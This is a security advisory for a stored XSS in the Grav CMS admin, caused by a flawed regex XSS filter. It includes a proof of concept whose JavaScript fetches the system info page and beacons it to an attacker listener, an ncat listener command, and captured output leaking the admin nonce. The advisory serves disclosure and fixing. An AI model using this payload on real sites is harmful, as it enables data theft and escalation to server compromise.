GHSA-w8cg-7jcj-4vv2 Grav is Vulnerable to Stored XSS via Tag Injection

• Packagist getgrav/grav: < 2.0.0-beta.2 → fixed in 2.0.0-beta.2

Summary A low-privileged (with the ability to create a page) user can cause XSS with the injection of `svg` element. The XSS can further be escalated to dump the entire system information available under `/admin/config/info` whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE). Details Affected endpoint: `admin/pages/` Affected code: `system/src/Grav/Common/Security.php` ```php public static function detectXss($string, array $options = null): ?string { // Skip any null or non string values if (null === $string || !is_string($string) || empty($string)) { return null; } if (null === $options) { $options = static::getXssDefaults(); } $enabled_rules = (array)($options['enabled_rules'] ?? null); $dangerous_tags = (array)($options['dangerous_tags'] ?? null); if (!$dangerous_tags) { $enabled_rules['dangerous_tags'] = false; } $invalid_protocols = (array)($options['invalid_protocols'] ?? null); if (!$invalid_protocols) { $enabled_rules['invalid_protocols'] = false; } $enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); }); if (!$enabled_rules) { return null; } // Keep a copy of the original string before cleaning up $orig = $string; // URL decode $string = urldecode($string); // Convert Hexadecimals $string = (string)preg_replace_callback('!(&#|\\\)xX;?!u', static function ($m) { return chr(hexdec($m[2])); }, $string); // Clean up entities $string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string); // Decode entities $string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8'); // Strip whitespace characters $string = preg_replace('!\s!u', ' ', $string); $stripped = preg_replace('!\s!u', '', $string); // Set the patterns we'll test against $patterns = [ // Match any attribute starting with "on" or xmlns 'on_events' => '#(]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu', // Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols 'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu', // Match -moz-bindings 'moz_binding' => '#-moz-binding[a-z\x00-\x20]*:#u', // Match style attributes 'html_inline_styles' => '#(]+[a-z\x00-\x20\"\'\/])(style=[^>]*(url\:|x\:expression).*)>?#iUu', // Match potentially dangerous tags 'dangerous_tags' => '#]*>?#ui' ]; // Iterate over rules and return label if fail foreach ($patterns as $name => $regex) { if (!empty($enabled_rules[$name])) { if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) { return $name; } } } return null; } ``` Specifically the line: ```php 'on_events' => '#(]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu', ``` assumes that the on_events will always begin with either `whitespace, ', "` which can easily be bypassed with a simple payload like: `` This XSS Filter practice is broken. 1. Blacklisting every possible scenario that leads to XSS isn't possible. 2. Regex can't parse HTML. It would be better to use an HTMLPurifier. PoC Grav Core + Admin Plugin Grav Version: `v1.7.49.5 - Admin v1.10.49.1` 1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages. 2. Login as the low-privileged user and browse to pages: 3. Create a post with the following content: ``` ``` The payload base64 is decoded to: ```javascript (async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})(); ``` whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the `info` endpoint and the response will be sent to attacker beacon/listener. 4. Save 5. Start a `ncat` listener on port `8001`. ```bash ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on 0.0.0.0:8001 Ncat: Connection from 127.0.0.1:44658. ``` 6. Now as a Super Admin visit the `/` of Grav `http://localhost/grav-admin/` for me: 7. We get a response with the `admin-nonce` and the entire system information: ``` ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on 0.0.0.0:8001 Ncat: Connection from 127.0.0.1:44658. POST /grav-log HTTP/1.1 Host: 127.0.0.1:8001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Content-Type: text/plain;charset=UTF-8 Content-Length: 127013 Origin: http://localhost/ Connection: keep-alive Referer: http://localhost/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: cross-site Priority: u=6 Configuration: Info | Grav window.GravAdmin = window.GravAdmin || {}; window.GravAdmin.config = { current_url: '/grav-admin/admin/config/info', base_url_relative: '/grav-admin/admin', base_url_simple: '/grav-admin', route: 'info', param_sep: ':', enable_auto_updates_check: '1', admin_timeout: '1800', admin_nonce: '1265db72d897b4324cbe7d1781e66e3b', ``` Impact This is a Stored Cross-Site Scripting (XSS) vulnerability exploitable by a low-privileged user, which leads to exfiltration of the admin session context, including the `admin_nonce`. This nonce can be abused to bypass CSRF protections and authenticate further requests to sensitive admin endpoints. Given Grav’s support for scheduled tasks and extensible plugin architecture, this can be escalated to Remote Code Execution (RCE) under favorable conditions. Affected Component: Grav Core + Admin Plugin (`v1.7.49.5` / `v1.10.49.1`) Impact: Full system compromise via RCE chain originating from low-privilege XSS. `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H` `Overall CVSS Score: 9.0` `High Impact` --- --- Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` …